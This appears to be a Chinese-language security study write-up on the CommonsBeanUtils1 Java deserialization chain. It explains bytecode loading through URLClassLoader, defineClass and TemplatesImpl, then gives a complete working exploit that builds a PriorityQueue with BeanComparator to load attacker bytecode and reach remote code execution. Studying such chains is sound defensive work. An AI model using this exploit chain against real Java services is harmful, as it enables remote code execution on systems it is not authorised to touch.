CB1 链
Java中动态加载字节码 (from P牛)
字节码通俗来讲就是class文件里的内容,指的是java虚拟机执行使用的一类指令,被jvm解释执行,也是java能够到处运行的一个关键东西了.
甚至,开发者可以用类似Scala,Kotlin这样的语言编写代码,只要你的编译器能够将代码编译成.class文件,都可以在JVM虚拟机中运行,也就是不仅仅是java代码编译后生成的class,其他语言也可通过生成字节码然后被JVM解释执行

利用URLclassLoader 加载远程class 文件
本文要说的是 URLClassLoader ,这个实际上是我们平常默认使用的APPClassLoader的父类,所以我们解释URLClassLoader的工作过程实际上就是在解释默认的java类加载器的工作流程
其中:
- loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass
- findClass 的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass
- defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public class hello{
public hello() {
System.out.println("This is the constructor of the hello class.");
}
public static void main(String[] args) {
System.out.println("This is the main method of the hello class.");
}
}
|
1 2 3
| javac hello.java java -cp . hello This is the main method of the hello class.
|
接下来我们起一个http服务即可,然后再利用urlclassloader加载远程class文件
发现调用的是无参构造器而不是main方法~
利用ClassLoader#defineClass 直接加载字节码
URLClassLoader 是继承ClassLoader类的我们考虑直接用它的defineclass方法加载字节码,将前面的那个class二进制内容进行base64编码
protected方法无法直接被调用,考虑反射调用即可

1 2 3 4 5
| Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class,byte[].class, int.class, int.class); defineClass.setAccessible(true); byte[] code=Base64.getDecoder().decode("yv66vgAAADQAHwoABwAQCQARABIIABMKABQAFQgAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEAClNvdXJjZUZpbGUBAApoZWxsby5qYXZhDAAIAAkHABkMABoAGwEAK1RoaXMgaXMgdGhlIGNvbnN0cnVjdG9yIG9mIHRoZSBoZWxsbyBjbGFzcy4HABwMAB0AHgEAK1RoaXMgaXMgdGhlIG1haW4gbWV0aG9kIG9mIHRoZSBoZWxsbyBjbGFzcy4BAAVoZWxsbwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAGAAcAAAAAAAIAAQAIAAkAAQAKAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACwAAAA4AAwAAAAIABAAEAAwABgAJAAwADQABAAoAAAAlAAIAAQAAAAmyAAISBbYABLEAAAABAAsAAAAKAAIAAAAIAAgACQABAA4AAAACAA8="); Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "hello", code, 0, code.length); hello.newInstance();
|
运行后的结果还是输出了This is the constructor of the hello class.也是只会调用默认的无参构造器所以我们想要使用defineClass 在目标机器上执行任意代码,需要想办法去调用构造函数
利用TemplatesImpl加载字节码
直接调用defineClass是不行的,那么看看有没有其他调用了它的类,这就是TemplatesImpl
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 定义了一个内部类 TransletClassLoader 重写了defineClass方法

1
| TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
|
其中 getOutputProperties() 是public 方法,我们可以直接调用而不需要反射写个poc测试一下~
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| byte[] code=Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");
TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj,"_bytecodes",new byte[][]{code}); setFieldValue(obj,"_name","HelloTemplatesImpl"); setFieldValue(obj,"_tfactory",new TransformerFactoryImpl()); obj.newTransformer(); } public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,fieldValue); }
|
这里的code不能是任意的code,TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类,因此我们需要构造一个特殊的类:
HelloTemplatesImpl.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| package exp; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class HelloTemplatesImpl extends AbstractTranslet { @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public HelloTemplatesImpl(){ super(); System.out.println("HelloTemplatesImpl 的构造方法被调用,字节码成功加载~"); } }
|
CommonsBeanUtils1 反序列化漏洞
codeql找到该类中调用该方法的有个compare方法
然后java.util.PriorityQueue 里siftDownUsingComparator方法多次使用了compare方法并且能够被序列化!
注意其中的siftUpUsingComparator 找不到出口,虽然也调用了compare

然后 本类中的 siftDown 调用了siftDownUsingComparator方法,最终由找到本类中heapify方法调用前者,且该heapify方法可以在本类中的readObject中被触发
CB1 EXP编写
先写一个能生成恶意的字节码类
然后运行生成class文件,写这个main方法就是为了通过idea来编译生成class文件,虽然触发getter方法的时候肯定不会触发main函数.

这里在静态代码块和无参构造器里写恶意代码都会被执行!

然后直接调用getter方法触发,能够正常弹出计算机,说明后半段是可行的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| byte[] code = Files.readAllBytes(Paths.get("F:\\Main-Sec\\JavaSec\\code\\cb1\\target\\classes\\exp\\TemplatesBytes.class"));
TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj,"_bytecodes",new byte[][]{code}); setFieldValue(obj,"_name","TemplatesBytes"); setFieldValue(obj,"_tfactory",new TransformerFactoryImpl()); obj.newTransformer(); } public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,fieldValue); }
|
分析分析这个compare的触发
offer方法里只要size大于等于2就会触发siftUp方法进而触发compare方法
最终EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| package exp; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator; import org.apache.commons.beanutils.PropertyUtils; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.net.URLClassLoader; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue; public class cb1 { public static void main(String[] args) throws Exception { byte[] code = Files.readAllBytes(Paths.get("F:\\Main-Sec\\JavaSec\\code\\cb1\\target\\classes\\exp\\TemplatesBytes.class")); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj,"_bytecodes",new byte[][]{code}); setFieldValue(obj,"_name","Calc"); setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator(); beanComparator.setProperty("outputProperties"); PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
setFieldValue(queue,"size",2); setFieldValue(queue,"queue",new Object[]{obj,obj}); serialize(queue); unserialize("ser.bin"); } public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,fieldValue); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
这条链子还是比较短的,挺简单的,但是还是熟悉了通过动态加载恶意字节码的方法实现RCE!